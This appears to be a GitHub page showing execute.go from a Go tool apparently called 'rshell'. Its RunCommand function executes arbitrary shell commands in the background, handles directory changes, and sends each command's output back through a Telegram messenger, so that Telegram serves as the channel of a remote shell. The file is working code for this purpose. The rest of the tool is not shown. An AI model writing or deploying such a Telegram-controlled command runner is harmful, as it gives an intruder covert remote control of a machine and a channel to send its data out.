-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexecute.go
58 lines (50 loc) · 1.41 KB
/
execute.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package main
import (
"fmt"
"os"
"os/exec"
"strings"
"time"
)
// run command in background and Send result to telegram
func RunCommand(messenger *TelegramMessenger, command []string) {
// cerate response tmplate
returnMessageTemplate := fmt.Sprintf("- [rshell version]:\n%s\n\n- [COMMAND]: \n%s\n\n- [OUTPUT]:\n", messenger.Version, strings.Join(command, " ")) + "%s"
// change dir
if command[0] == "cd" {
path := strings.Join(command[1:], "")
if err := os.Chdir(path); err != nil {
returnMessage := fmt.Sprintf(returnMessageTemplate, err.Error())
messenger.Send(returnMessage)
return
}
returnMessage := fmt.Sprintf(returnMessageTemplate, "")
messenger.Send(returnMessage)
return
}
doneFlag := false
pDoneFlag := &doneFlag
// run command in background
go func() {
out, err := exec.Command(command[0], command[1:]...).Output()
var returnMessage string
if err != nil {
returnMessage = fmt.Sprintf(returnMessageTemplate, err.Error())
} else {
returnMessage = fmt.Sprintf(returnMessageTemplate, string(out[:]))
}
messenger.Send(returnMessage)
*pDoneFlag = true
}()
// if command done in 4 second return response:
for i := 0; i < 4; i++ {
time.Sleep(time.Second)
if doneFlag {
return
}
}
// else:
returnMessage := fmt.Sprintf(returnMessageTemplate,
"Your command is running in the background and you will get the results when it is done.")
messenger.Send(returnMessage)
}